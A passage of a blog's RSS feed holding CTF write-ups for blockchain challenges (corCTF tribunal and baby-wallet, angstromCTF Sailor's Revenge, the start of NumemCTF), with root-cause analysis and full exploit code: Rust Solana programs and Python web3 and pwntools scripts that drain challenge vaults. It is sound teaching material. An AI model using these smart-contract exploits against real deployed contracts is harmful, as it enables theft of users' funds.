            ]);

       
            amt = target;
        }


        Ok(())        
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Feedback&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I missed the &lt;b&gt;overflow&lt;/b&gt; in &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vote&lt;/span&gt;, author's intention.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/blob/381ffd076c5264382b96f218a9513aed959aa393/tribunal/program/src/processor.rs#L316C5-L316C118&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/blob/381ffd076c5264382b96f218a9513aed959aa393/tribunal/program/src/processor.rs#L316C5-L316C118&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;shorter and easier&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. initialize a &lt;span style=&quot;background-color: #f6e199;&quot;&gt;fake config&lt;/span&gt;.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. deposit 0.000000001sol into the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vault&lt;/span&gt; using &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vote&lt;/span&gt;, causing the overflow in the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;fake config&lt;/span&gt;.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. withdraw 90sol from the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;real vault&lt;/span&gt; that has 99sol.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1690775668970&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        let account_iter = &amp;amp;mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let config_addr = next_account_info(account_iter)?;
        let vault_addr = next_account_info(account_iter)?;
        let fake_config_addr = next_account_info(account_iter)?;;
        let fake_vault_addr = next_account_info(account_iter)?;
        let p4_addr = next_account_info(account_iter)?;
        let my_pg = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;

        let (_fake_config_addr, fake_config_bump) = find_my_program_address(&amp;amp;[&quot;CONFIG&quot;.as_bytes()], &amp;amp;program.key).unwrap();
        let (_fake_vault_addr, fake_vault_bump) = find_my_program_address(&amp;amp;[&quot;VAULT&quot;.as_bytes()], &amp;amp;program.key).unwrap();
        let (_p4_addr, _) = Pubkey::find_program_address(&amp;amp;[&quot;PROPOSAL&quot;.as_bytes(), &amp;amp;4_u8.to_be_bytes()], &amp;amp;program.key);

  

        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &amp;amp;TribunalInstruction::Initialize  {
                config_bump: fake_config_bump, 
                vault_bump: fake_vault_bump,
            },
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(fake_vault_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&amp;amp;fisrt, 
            &amp;amp;[
                user.clone(),
                fake_config_addr.clone(),
                fake_vault_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);


        
        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &amp;amp;TribunalInstruction::Vote { proposal_id: 4, amount: 1 },
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(fake_vault_addr.key.clone(), false),
                AccountMeta::new(p4_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&amp;amp;fisrt, 
            &amp;amp;[
                user.clone(),
                fake_vault_addr.clone(),
                fake_config_addr.clone(),
                p4_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);


        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &amp;amp;TribunalInstruction::Withdraw { amount: 90_000_000_000},
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(vault_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&amp;amp;fisrt, 
            &amp;amp;[
                user.clone(),
                vault_addr.clone(),
                fake_config_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);



        Ok(())        
    }&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;baby-wallet&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;BabyWallet::transferFrom&lt;/span&gt; does not check if &lt;span style=&quot;background-color: #f6e199;&quot;&gt;from&lt;/span&gt; is equal to &lt;span style=&quot;background-color: #f6e199;&quot;&gt;to&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If &lt;span style=&quot;background-color: #f6e199;&quot;&gt;from&lt;/span&gt; and &lt;span style=&quot;background-color: #f6e199;&quot;&gt;to&lt;/span&gt; are the same, the balance is increased by &lt;span style=&quot;background-color: #f6e199;&quot;&gt;amt&lt;/span&gt; because the increase of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;to&lt;/span&gt;'s balance follows the decrease of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;from&lt;/span&gt;'s balance.&lt;/p&gt;
&lt;pre id=&quot;code_1690638720843&quot; class=&quot;solidity routeros&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function transferFrom(address from, address to, uint256 amt) public { 
        uint256 allowedAmt = allowances[from][msg.sender];
        uint256 fromBalance = balances[from];
        uint256 toBalance = balances[to];

        require(fromBalance &amp;gt;= amt, &quot;You can't transfer that much&quot;);
        require(allowedAmt &amp;gt;= amt, &quot;You don't have approval for that amount&quot;);

        balances[from] = fromBalance - amt;
        balances[to] = toBalance + amt;
        allowances[from][msg.sender] = allowedAmt - amt;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In order to get a flag, we must steal the 100ether in BabyWallet.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Deposit 100ether.&lt;/li&gt;
&lt;li&gt;Increase allowances[my][my] by 100ether.&lt;/li&gt;
&lt;li&gt;Execute transferFrom(my, my, 100ether).&lt;/li&gt;
&lt;li&gt;Withdraw 200ether.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;code_1690645566141&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;https://baby-wallet.be.ax/1ac67d77-6984-456f-932a-77ce079bcaf0&quot;))

#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0xd163bd21d98ba16997ac5e4248f4d576798c2eaad59fdc2b23005de91bd86d30'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0xe18440794A816142E5081b3A2CcED5835d53ef18
myAddr = Public_Address
cont = &quot;0xB74539Aa48Ff22f539851bFf1cCf14BF5A9A7356&quot; # deployed contract's address


def deposit():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;deposit&quot;]().build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 100 * 10 ** 18,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def approve():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;approve&quot;](myAddr, 100 * 10 ** 18).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


def transferFrom():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;transferFrom&quot;](myAddr, myAddr, 100 * 10 ** 18).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def withdraw():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;withdraw&quot;](200 * 10 ** 18).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

deposit()
approve()
transferFrom()
withdraw()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/167</guid>
      <comments>https://gss1.tistory.com/entry/corCTF-2023-blockchaintribunal-baby-wallet#entry167comment</comments>
      <pubDate>Mon, 31 Jul 2023 12:58:09 +0900</pubDate>
    </item>
    <item>
      <title>angstromctf 2023 - pwn(Sailor's Revenge)</title>
      <link>https://gss1.tistory.com/entry/angstromctf-2023-Sailors-Revenge</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sailor has been presented in LACTF2023 by Aplet123.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The&amp;nbsp;&lt;a href=&quot;https://hodl.page/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;write-up&lt;/a&gt;&amp;nbsp;can&amp;nbsp;be&amp;nbsp;found&amp;nbsp;on&amp;nbsp;my&amp;nbsp;blog.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Sailor's&amp;nbsp;Revenge&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/chall/src/processor.rs&lt;/p&gt;
&lt;pre id=&quot;code_1682592729563&quot; class=&quot;rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pub struct SailorUnion {
    available_funds: u64,
    authority: [u8; 32],
}

pub struct Registration {
    balance: i64,
    member: [u8; 32],
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;It is observed that the sizes of two structs are identical, and the balance of the Registration can have a negative value. (This is a very strong hint)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1682592851877&quot; class=&quot;rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pub fn register_member(
    program_id: &amp;amp;Pubkey,
    accounts: &amp;amp;[AccountInfo],
    member: [u8; 32],
) -&amp;gt; ProgramResult {

	// ...

    let ser_data = Registration {
        balance: -100,
        member,
        // sailor_union: sailor_union.key.to_bytes(),
    }
    .try_to_vec()?;
    
    // ...

    registration.data.borrow_mut().copy_from_slice(&amp;amp;ser_data);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;In register_member() function, the &lt;code&gt;balance&lt;/code&gt; of registration struct stores a value of &lt;b&gt;-100&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1682592979712&quot; class=&quot;rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pub fn strike_pay(program_id: &amp;amp;Pubkey, accounts: &amp;amp;[AccountInfo], amt: u64) -&amp;gt; ProgramResult {
    msg!(&quot;strike pay {}&quot;, amt);

    let iter = &amp;amp;mut accounts.iter();

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(sailor_union.is_writable);
    assert!(sailor_union.owner == program_id);

    let member = next_account_info(iter)?;
    assert!(member.is_writable);
    assert!(member.owner == &amp;amp;system_program::ID);

    let authority = next_account_info(iter)?;
    assert!(authority.is_signer);
    assert!(authority.owner == &amp;amp;system_program::ID);

    let (vault_addr, vault_bump) = Pubkey::find_program_address(&amp;amp;[b&quot;vault&quot;], program_id);
    let vault = next_account_info(iter)?;
    assert!(!vault.is_signer);
    assert!(vault.is_writable);
    assert!(vault.owner == &amp;amp;system_program::ID);
    assert!(vault.key == &amp;amp;vault_addr);

    let system = next_account_info(iter)?;
    assert!(system.key == &amp;amp;system_program::ID);

    let mut data = SailorUnion::try_from_slice(&amp;amp;sailor_union.data.borrow())?;
    assert!(&amp;amp;data.authority == authority.key.as_ref());

    if data.available_funds &amp;gt;= amt {
        data.available_funds -= amt;
        transfer(&amp;amp;vault, &amp;amp;member, amt, &amp;amp;[&amp;amp;[b&quot;vault&quot;, &amp;amp;[vault_bump]]])?;
        data.serialize(&amp;amp;mut &amp;amp;mut *sailor_union.data.borrow_mut())?;
        Ok(())
    } else {&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;To claim strike_pay function,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;available_funds&lt;/code&gt; of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sailor_union&lt;/span&gt; must have some value.&lt;/li&gt;
&lt;li&gt;address of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sailor_union&lt;/span&gt; is derived by its &lt;code&gt;authority&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;In /server/&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;main.rs&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;,&lt;/p&gt;
&lt;pre id=&quot;code_1682593139621&quot; class=&quot;rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    challenge.env.execute_as_transaction(
        &amp;amp;[Instruction::new_with_borsh(
            prog.pubkey(),
            &amp;amp;SailorInstruction::CreateUnion(VAULT_BAL),
            vec![
                AccountMeta::new(sailor_union, false),
                AccountMeta::new(rich_boi.pubkey(), true),
                AccountMeta::new(vault, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
        )],
        &amp;amp;[&amp;amp;rich_boi],
    );&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;The &lt;code&gt;authority&lt;/code&gt; of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sailor_union&lt;/span&gt; is &lt;code&gt;rich_boi&lt;/code&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;In create_union() of processor.rs&lt;/p&gt;
&lt;pre id=&quot;code_1682593205197&quot; class=&quot;rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        let data = SailorUnion {
            available_funds: 0,
            authority: authority.key.to_bytes(),
        };&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;the &lt;code&gt;available_funds&lt;/code&gt; of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sailor_union&lt;/span&gt; is zero.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;We cannot call strike_pay with &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sailor_union&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;So, we should use registration instead of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sailor_union&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;This&amp;nbsp;can&amp;nbsp;bypass&amp;nbsp;all&amp;nbsp;of&amp;nbsp;the&amp;nbsp;assert&amp;nbsp;statements&amp;nbsp;in&amp;nbsp;strike_pay.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;If I claim 100_000_000 coins, the -100 stored in the &lt;code&gt;balance&lt;/code&gt; will be cast as a larger value in u64 than 100_000_000.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;And&lt;/p&gt;
&lt;pre id=&quot;code_1682593576306&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;assert!(&amp;amp;data.authority == authority.key.as_ref());&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Since &lt;code&gt;member&lt;/code&gt; stored is the &lt;code&gt;user&lt;/code&gt;, we place &lt;code&gt;user&lt;/code&gt; in the position of authority.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lib.rs&lt;/p&gt;
&lt;pre id=&quot;code_1682592616669&quot; class=&quot;rust&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;use borsh::{BorshDeserialize, BorshSerialize};

#[derive(Debug, Clone, BorshSerialize,PartialEq, Eq, PartialOrd, Ord)]
pub enum SailorInstruction {
    CreateUnion(u64),
    PayDues(u64),
    StrikePay(u64),
    RegisterMember([u8; 32]),
}

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct SailorUnion {
    available_funds: u64,
    authority: [u8; 32],
}

#[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)]
pub struct Registration {
    balance: i64,
    member: [u8; 32],
}

#[cfg(not(feature = &quot;no-entrypoint&quot;))]
pub mod entrypoint {
    use borsh::BorshSerialize;
    use solana_program::{
        account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, instruction::Instruction,
        msg, program::invoke, pubkey::Pubkey,
        instruction::AccountMeta,
    };

    // use chall::{self, SailorInstruction};
    use crate::SailorInstruction;

    entrypoint!(process_instruction);


    pub fn process_instruction(
        _program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        _instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        let prog = accounts[0].clone();
        let user = accounts[1].clone();
        let vault = accounts[2].clone();
        let sailor_union = accounts[3].clone();
        let registration = accounts[4].clone();
        let rich_boi = accounts[5].clone();
        let system_program = accounts[6].clone();

        let amt = 100_000_000;
        
        msg!(&quot;solving program {}&quot;, prog.key);


        invoke(
            &amp;amp;Instruction {
                program_id: prog.key.clone(),
                accounts: vec![
                    AccountMeta::new(registration.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(vault.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
                data: SailorInstruction::StrikePay(100_000_000).try_to_vec().unwrap(),
            },
            &amp;amp;[
                user.clone(),          
                registration.clone(),
                vault.clone(),
            ]
        );


        msg!(&quot;done solving&quot;);

        Ok(())
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cargo.toml&lt;/p&gt;
&lt;pre id=&quot;code_1682594211593&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[package]
edition = &quot;2021&quot;
name = &quot;solve&quot;
version = &quot;0.1.0&quot;

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
# sailors-revenge = {path = &quot;../chall&quot;, version = &quot;0.1.0&quot;}
solana-program = &quot;1.14.11&quot;
borsh = &quot;0.10.3&quot;

[features]
default = []
no-entrypoint = []
no-idl = []
no-log-ix-name = []

[lib]
crate-type = [&quot;cdylib&quot;, &quot;rlib&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1682594226544&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cargo build-bpf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py (check the path of solve.so)&lt;/p&gt;
&lt;pre id=&quot;code_1682594285774&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# sample solve script to interface with the server
from pwn import *

# feel free to change this
account_metas = [
    (&quot;program&quot;, &quot;-r&quot;), # readonly
    (&quot;user&quot;, &quot;sw&quot;), # signer + writable
    (&quot;vault&quot;, &quot;-w&quot;), # writable
    (&quot;sailor union&quot;, &quot;-w&quot;),
    (&quot;registration&quot;, &quot;-w&quot;),
    (&quot;rich boi&quot;, &quot;-r&quot;),
    (&quot;system program&quot;, &quot;-r&quot;),
]
instruction_data = b&quot;placeholder&quot;

p = remote(&quot;challs.actf.co&quot;, 31404)
# p = remote(&quot;127.0.0.1&quot;, 5000)

with open(&quot;./solve/target/deploy/solve.so&quot;, &quot;rb&quot;) as f:
    solve = f.read()

p.sendlineafter(b&quot;program len: \n&quot;, str(len(solve)).encode())
p.send(solve)

accounts = {}
for l in p.recvuntil(b&quot;num accounts: \n&quot;, drop=True).strip().split(b&quot;\n&quot;):
    [name, pubkey] = l.decode().split(&quot;: &quot;)
    accounts[name] = pubkey

p.sendline(str(len(account_metas)).encode())
for (name, perms) in account_metas:
    p.sendline(f&quot;{perms} {accounts[name]}&quot;.encode())
p.sendlineafter(b&quot;ix len: \n&quot;, str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;actf{maybe_anchor_can_kind_of_protect_me_from_my_own_stupidity}&lt;/i&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/165</guid>
      <comments>https://gss1.tistory.com/entry/angstromctf-2023-Sailors-Revenge#entry165comment</comments>
      <pubDate>Thu, 27 Apr 2023 20:19:47 +0900</pubDate>
    </item>
    <item>
      <title>NumemCTF 2023</title>
      <link>https://gss1.tistory.com/entry/NumemCTF-2022</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;I participated in NumemCTF alone and just solved 7 easy challs.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I learned that there are many ways to use assembly in Solidity!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I will add my solution of challenges unsolved.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SimpleCall&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This code is written in solidity 0.7.0 and does not use SafeMath so that it is vulnerable to integer overflow.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The function related to transference mostly uses require statements to check whether balance is insufficient.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;require(A&amp;gt;B)&lt;/li&gt;
&lt;li&gt;require(A-B&amp;gt;0)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First statement is safe from integer overflow but second is not.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
